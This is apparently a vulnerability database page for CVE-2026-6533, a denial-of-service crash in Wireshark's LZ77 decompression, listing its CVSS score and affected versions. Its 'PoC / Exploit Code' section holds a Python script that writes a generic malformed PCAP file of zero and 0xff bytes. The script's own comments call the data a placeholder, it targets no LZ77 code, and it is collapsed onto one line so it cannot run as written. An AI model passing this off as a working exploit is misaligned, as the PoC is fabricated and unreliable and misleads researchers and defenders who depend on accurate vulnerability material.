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CVE-2026-6533 CVSS 5.5 MEDIUM

CVE-2026-6533

Published: 2026-04-30 07:16:41
Last Modified: 2026-05-01 18:16:35

Description

Dissection engine LZ77 decompression crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 to 4.6.4
Wireshark 4.4.0 to 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-6533: Wireshark LZ77 Decompression Crash # This script generates a malformed PCAP file that may trigger the crash. # Note: Actual byte patterns to trigger the specific LZ77 bug depend on internal implementation details. import struct def create_malformed_pcap(filename): # PCAP Global Header pcap_global_header = struct.pack('!LHHLLLL', 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1) # Construct a packet header (dummy values) ts_sec, ts_usec = 0, 0 incl_len, orig_len = 100, 100 packet_header = struct.pack('!LLLL', ts_sec, ts_usec, incl_len, orig_len) # Simulate a packet data containing malformed LZ77 compression stream # In a real scenario, this data would target a specific dissector using LZ77 # This is a placeholder to represent the fuzzing input. packet_data = b'\x00' * 50 # Ethernet header padding # Malicious payload attempting to trigger LZ77 logic error malicious_payload = b'\xff' * 50 with open(filename, 'wb') as f: f.write(pcap_global_header) f.write(packet_header) f.write(packet_data + malicious_payload) print(f"[+] Malformed PCAP file generated: {filename}") print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to test.") if __name__ == "__main__": create_malformed_pcap('crash_poc.pcap')

References

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